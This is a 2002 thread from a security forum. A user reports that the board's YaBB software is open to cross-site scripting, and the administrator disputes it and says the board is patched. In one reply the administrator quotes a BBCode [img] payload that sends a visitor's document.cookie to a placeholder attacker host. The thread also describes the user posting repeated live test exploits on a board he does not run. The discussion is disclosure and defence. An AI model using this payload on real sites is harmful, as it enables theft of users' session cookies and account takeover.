Download TrojanHunter Now
Free 30-day trial!
Latest TrojanHunter Version:
TrojanHunter 5.0
Order Now
License file delivered within minutes.
Welcome, Guest. Please Login or Register.
Oct 7th, 2008, 11:54am
   Mischel Internet Security Forum
   Internet Security
   News (Moderators: Helena, Gavin_Coe, Magnus)
   ADMIN PLEASE READ		 « Previous topic | No topic »
Pages: 1  Reply Reply  Notify of replies Notify of replies   Send Topic Send Topic   Print Print
   Author  Topic: ADMIN PLEASE READ  (Read 851 times)
maxspeed
Newbie
*



I love YaBB 1 Gold!

   
Email

Posts: 1
ADMIN PLEASE READ
« on: Mar 1st, 2002, 4:08am »		 Quote Quote  Modify Modify
i dont really use this board i just test it so i didnt find how to PM u. Your board is vulnerable to a " cross site scripting attack" which can allow me to get admin and members passwords with the right code of course. To read more about it go here
 
 
http://www.eyeonsecurity.net/advisories/css_in_yabb_and_ubb.html
 
i made a test post in the first board.No damage or passwords have been stolen from this board.
 
maxspeed...
IP Logged
Magnus
Administrator
*****



Ad astra per aspera.

   
WWW  

Posts: 4106
Re: ADMIN PLEASE READ
« Reply #1 on: Mar 1st, 2002, 9:35am »		 Quote Quote  Modify Modify
Actually, this issue was fixed shortly after this vulnerability was posted on the Bugtraq list. To be on the safe side, all the latest updates for the board have been applied.  
 
 
PS: In the future, please post test messages in the Test forum. Thanks.
IP Logged
maxspeed1
 Guest

Email
Re: ADMIN PLEASE READ
« Reply #2 on: Mar 2nd, 2002, 2:56am »		 Quote Quote  Modify Modify   Remove Remove
this vulnerability is not fixed, the board is still vulnerable. Didnt u see the test post i made. if it was fixed i wouldint have redirected you. The fix for this issue is to make [img] tags start with http:// so it wont allow java. this is me warning u and me saying good bye. laterz bro and trust me your board is vulnerable
IP Logged
Magnus
Administrator
*****



Ad astra per aspera.

   
WWW  

Posts: 4106
Re: ADMIN PLEASE READ
« Reply #3 on: Mar 2nd, 2002, 10:29am »		 Quote Quote  Modify Modify
The vulnerability has nothing to do with Java. It has something to do with JavaScript. Java is a programming language invented by Sun. JavaScript is a scripting language used in browsers.
 
Now please pay attention: Immediately below the the code below the exploit code, as shown in the box, appears in this post. The exploit code has been copied directly from the SecurityFocus web site.
 
Code:

[img]javascript:document.write
('&#x3cimg
src=http://attackerssite/tools/cookie.plx?cookie='+escape(docu  
ment.cookie)+'&#x3e')
[/img]

 
The "exploit" code has been inserted here, between the "--" separators:
 
--

--
 
As you can plainly see no "broken image" graphic appears as it would have if the exploit were succesful. (The exploit attempts to send the data to the www.mischel.dhs.org site, and the file it is referring to does not exist, trust me.) I have even checked the web site logs and no record of any kind exists of the exploit transmitting any data, as there would have been, had the board been vulnerable.
IP Logged
Magnus
Administrator
*****



Ad astra per aspera.

   
WWW  

Posts: 4106
Re: ADMIN PLEASE READ
« Reply #4 on: Mar 13th, 2002, 10:46am »		 Quote Quote  Modify Modify
I was actually wrong about the broken image graphic. It doesn't indicate an exploit. It appears in Internet Explorer but not in Opera. Now, if you would care to take a look at the source code of this page you will see that your non-existent images have all been prefixed with "http://". As you are surely aware, this makes the exploit non-functional.
 
At any rate, you seem to really want to make this exploit work since you are posting so many of your test messages. I don't think your ISP's abuse department really cares whether or not this board is patched, do you? So, I'll have to ask you to not post any more of your test messages. That means no posting of these on any of the boards here, including the Test Board.
IP Logged
Pages: 1  Reply Reply  Notify of replies Notify of replies   Send Topic Send Topic   Print Print

« Previous topic | No topic »
Search
Members
Login
Register